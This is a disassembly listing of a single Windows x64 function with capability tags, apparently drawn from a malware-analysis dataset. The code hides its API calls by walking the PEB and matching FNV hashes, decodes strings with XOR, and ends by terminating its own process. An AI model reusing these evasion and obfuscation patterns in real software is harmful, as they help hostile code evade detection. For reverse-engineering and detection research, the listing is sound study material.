Function at 0x140395690
Capabilities:
Access peb ldr_data
Encode data using xor
Get windows directory from kuser_shared_data
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
xor r14d, r14d
mov dword [rbp + 0x140], r14d
mov dword [rbp + 0x148], r14d
movabs rax, 0x2ade92653807997f
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x140]
mov qword [rsp + 0x60], rax
movabs r15, 0xd7c6b66c1dcd75fe
mov qword [rbp + 0x140], r15
mov rax, qword [rbp + 0x140]
mov qword [rsp + 0x68], rax
movabs r12, 0x2ade92653828b645
mov qword [rbp + 0x140], r12
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x140], r15
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x58], rax
movdqa xmm0, xmmword [rsp + 0x60]
pxor xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rsp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], r14
mov edx, 0x7ffe0030
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r14b
jne 0x140395753
lea rcx, [rbp - 0x60]
call fcn.14035aa00
nop
mov dword [rbp + 0x140], 1
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140395780
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.14035c250
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov dword [rbp + 0x140], 7
lea rsi, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rsi, qword [rsp + 0x40]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140395876
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140395876
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x169d6e98
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140395871
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140395850
cmp r8d, 0x690268fb
je 0x14039587b
test r9d, r9d
jne 0x140395830
mov rax, qword [rax]
jmp 0x140395800
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x38], r14d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x148]
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call r10
test eax, eax
je 0x1403958ca
cmp dword [rbp + 0x148], 0
je 0x1403958ca
xor bl, bl
jmp 0x1403958cc
mov bl, 1
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140395909
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140395904
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403960bf
call fcn.140419458
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], 0
mov dword [rbp + 0x140], 4
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140395961
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14039595c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403960c5
call fcn.140419458
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], 0
test bl, bl
je 0x1403960a1
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x90], 0
movabs rax, 0xaaaf1044c46d906
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp - 0x40], rax
movabs rax, 0xf9b2c4036dbd008d
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp - 0x38], rax
movabs rbx, 0xf6324b730ee9812f
mov qword [rbp + 0x150], rbx
mov rax, qword [rbp + 0x150]
mov qword [rbp - 0x30], rax
movabs rdi, 0xdec0f87aa29b7310
mov qword [rbp + 0x150], rdi
mov rax, qword [rbp + 0x150]
mov qword [rbp - 0x28], rax
mov qword [rbp + 0x150], r12
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x150], r15
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x150], rbx
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x150], rdi
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x88], rax
movdqa xmm0, xmmword [rbp + 0x70]
pxor xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [rbp - 0x30]
pxor xmm1, xmmword [rbp + 0x80]
movdqa xmmword [rbp - 0x30], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
lea rax, [rbp - 0x40]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140395a96
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x70]
call fcn.14035aa00
nop
mov rcx, qword [0x14049bfa8]
movabs rax, 0x59acf7166d748c06
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp - 0x20], rax
movabs rax, 0xb282ea1e78be20a2
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp - 0x18], rax
movabs rax, 0x83531703619dea5c
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp - 0x10], rax
movabs rax, 0x82b3880ac3bb1b64
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp - 8], rax
movabs rax, 0x3d76346948f226a8
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp], rax
movabs rax, 0x9ee5275c77b2d636
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 8], rax
movabs rax, 0x4b0081e48b5c6e07
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x10], rax
movabs rax, 0x12f7997743e7a2c1
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x18], rax
movabs rax, 0x78a9df348a72ddfe
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x20], rax
movabs rax, 0x5e0b42a7ebe82dcf
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x150], r12
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0x150], r15
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0x150], rbx
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0x150], rdi
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0xc8], rax
movabs rax, 0x55561949208653c9
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0xd0], rax
movabs rax, 0xff8a4b0004c2a242
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0xd8], rax
movabs rax, 0x1763f397d72e0b63
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0xe0], rax
movabs rax, 0x779eed1e2f8ed6b4
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0xe8], rax
movabs rax, 0xcc0b35dfe07818d
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0xf0], rax
movabs rax, 0x5e7b32c4c59b48a6
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0xf8], rax
movdqa xmm0, xmmword [rbp - 0x20]
pxor xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [rbp - 0x10]
pxor xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [rbp]
pxor xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [rbp + 0x10]
pxor xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x20], xmm0
mov r9d, 0xa3
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x30]
call fcn.140398980
nop
lea rdx, [rbp + 0x30]
mov rcx, qword [0x14049bfc0]
call fcn.14035b6c0
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140395d96
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140395d91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403960cb
call fcn.140419458
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x30], 0
movabs rax, 0x4ffefc005c4cc316
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x140]
mov qword [rbp - 0x70], rax
movabs rax, 0xd7c6b6426fa2078c
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x140]
mov qword [rbp - 0x68], rax
mov qword [rbp + 0x140], r12
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x140], r15
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x68], rax
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x70], xmm0
lea rsi, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae rsi, qword [rsp + 0x70]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140395eb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140395eb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x5b12e056
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140395eb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140395e90
cmp r8d, 0x7138839c
je 0x140395ebb
test r9d, r9d
jne 0x140395e70
mov rax, qword [rax]
jmp 0x140395e40
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x28], 0xbb8
mov word [rsp + 0x20], r14w
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp - 0x70]
mov rdx, rsi
xor ecx, ecx
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140395f86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140395f86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x5a12dec3
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140395f81
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140395f60
cmp r8d, 0x43b9899d
je 0x140395f8b
test r9d, r9d
jne 0x140395f40
mov rax, qword [rax]
jmp 0x140395f10
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
mov edx, dword [0x7ffe0014]
mov rcx, 0xffffffffffffffff
call r8
mov ecx, 0xa
call fcn.140419954
lea rcx, [rax + 1]
call fcn.140419458
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov dword [rbx], 0xa
mov ecx, 4
call fcn.1404196c8
mov rbx, rax
mov edx, 4
mov rcx, rax
call fcn.140419458
mov edx, 4
mov rcx, rbx
call fcn.140419458
mov ecx, dword [0x7ffe0014]
int 0x29
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140396053
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14039604e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403960d1
call fcn.140419458
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1403960a1
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14039609c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403960b9
call fcn.140419458
mov eax, dword [rbp + 0x148]
add rsp, 0x200
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
nop
call fcn.140428d2c
int3